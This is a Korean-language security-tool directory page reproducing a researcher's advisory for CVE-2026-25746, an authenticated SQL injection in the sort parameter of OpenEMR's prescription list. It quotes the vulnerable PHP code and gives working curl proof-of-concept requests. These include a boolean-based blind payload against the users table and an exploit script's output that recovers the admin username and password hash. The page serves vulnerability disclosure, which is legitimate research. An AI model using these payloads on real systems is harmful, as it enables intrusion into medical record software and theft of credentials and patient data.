Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4 — CVE-2026-25746 - OpenEMR <8.0.0의 SQL 인젝션 취약점 | Kitploit
도구/GitHubGitHub/chrissub08/cve-2026-25746_sqlinjectionvulnerabilityopenemr7.0.4
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubchrissub08/cve-2026-25746_sqlinjectionvulnerabilityopenemr7.0.4

CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-25746 - OpenEMR <8.0.0의 SQL 인젝션 취약점

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
4개월 전아직 검토되지 않음

CVE-2026-25746 - OpenEMR <8.0.0의 SQL 인젝션 취약점

약점 CWE-89

SQL 명령에 사용되는 특수 요소의 부적절한 중성화('SQL 인젝션') 제품은 업스트림 구성 요소의 외부 영향 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 전송될 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중성화하지 않거나 잘못 중성화합니다. 사용자 제어 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL로 해석될 수 있습니다. MITRE에서 자세히 알아보세요.

요약

OpenEMR <8.0.0에는 인증된 공격자가 악용할 수 있는 처방전(prescription)의 SQL 인젝션 취약점이 존재합니다. 이 취약점은 처방전 목록 기능의 입력 검증 부족으로 인해 발생합니다.

세부 정보

이 취약점은 처방전 목록 기능에서 발생하며, 사용자 제공 입력이 sort 매개변수에서 적절한 필터링 없이 SQL 쿼리에 직접 연결됩니다. 이를 통해 공격자는 악의적인 SQL 코드를 주입할 수 있습니다.

이 취약점은 다음 파일에 영향을 미칩니다:

  • \openemr\library\classes\Prescription.class.php 1148행의 prescriptions_factory 함수
  • \controllers\C_Prescription.class.php 180행의 list_action 함수
  • \openemr\controller.php 6행

URL 경로에서 호출되는 컨트롤러 파일

root@kitploit:~
$controller = new Controller();
echo $controller->act($_GET);

Controller act 메서드:

root@kitploit:~
        $args = array_reverse(array_keys($qarray));
        $c_name = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
        $c_action = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
        $obj_name = "C_" . $c_name;
        $c_obj = new $obj_name();
...
        foreach ($args as $arg) {
            $arg = preg_replace("/[^A-Za-z0-9_]/", "", (string) $arg);
            if (empty($qarray[$arg]) && $qarray[$arg] != "0") {
                $args_array[] = null;
            } else {
                $args_array[] = $qarray[$arg];
            }
        }
...
        if (is_callable([&$c_obj, $c_action . "_action"]) && method_exists($c_obj, $c_action . "_action")) {
            $output .=  $c_obj->{$c_action . "_action"}(...$args_array);
        }

C_Prescription list_action 메서드

root@kitploit:~
    function list_action($id, $sort = "", $printPrescriptionId = null)
    {
        if (empty($id)) {
            $this->function_argument_error();
            exit;
        }

        if (!empty($sort)) {
            $this->assign("prescriptions", Prescription::prescriptions_factory($id, $sort));
        }

Prescription prescriptions_factory 메서드의 취약점

root@kitploit:~
    static function prescriptions_factory(
        $patient_id,
        $order_by = "active DESC, date_modified DESC, date_added DESC"
    ) {

        $prescriptions = [];
        $p = new Prescription();
        $sql = "SELECT id FROM " . escape_table_name($p->_table) . " WHERE patient_id = ? " .
                "ORDER BY " . add_escape_custom($order_by);
        $results = sqlQ($sql, [$patient_id]);
        while ($row = sqlFetchArray($results)) {
            $prescriptions[] = new Prescription($row['id']);
        }

        return $prescriptions;
    }

권한

root@kitploit:~
        if ((array_key_first($qarray) ?? '') == 'prescription') {                                                                                              
            if (!AclMain::aclCheckCore('patients', 'rx')) {                                                                                                    
                echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Prescriptions")]);    
                exit;                                                                                                                                          
            }                                                                                                                                                  
        }

patients에 대한 ACL rx 권한이 필요하며, 이는 표준 권한이지 상승된 권한이 아닙니다.

SQL 인젝션

root@kitploit:~
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY <injection>

PoC

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort="'                  
SQL Statement failed on preparation: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \&quot;'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ<br />/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")<br />/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")<br />/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array)

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)'

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))'

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)'

이를 악용하는 여러 기법이 있습니다. 그중 하나는 불리언 기반 공격으로, 마지막 페이로드를 사용하여 동작합니다:

root@kitploit:~
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1)

익스플로잇

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[+] Using patient_id=1
[+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f
[+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0

┌──(kali㉿kali)-[~]
└─$ 

영향

  • 데이터베이스 정보에 대한 무단 액세스
  • 민감한 의료 정보의 잠재적 데이터 유출
  • 서버 측 코드 실행 (일부 경우)
  • 데이터베이스 손상

크레딧

  • 연구자: Christophe SUBLET
  • 기관: Grenoble INP - Esisar, UGA
  • 프로젝트: CyberSkills, Orion

링크

https://www.cve.org/CVERecord?id=CVE-2026-25746

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
논문을 인용해 주세요: https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4

도구 다운로드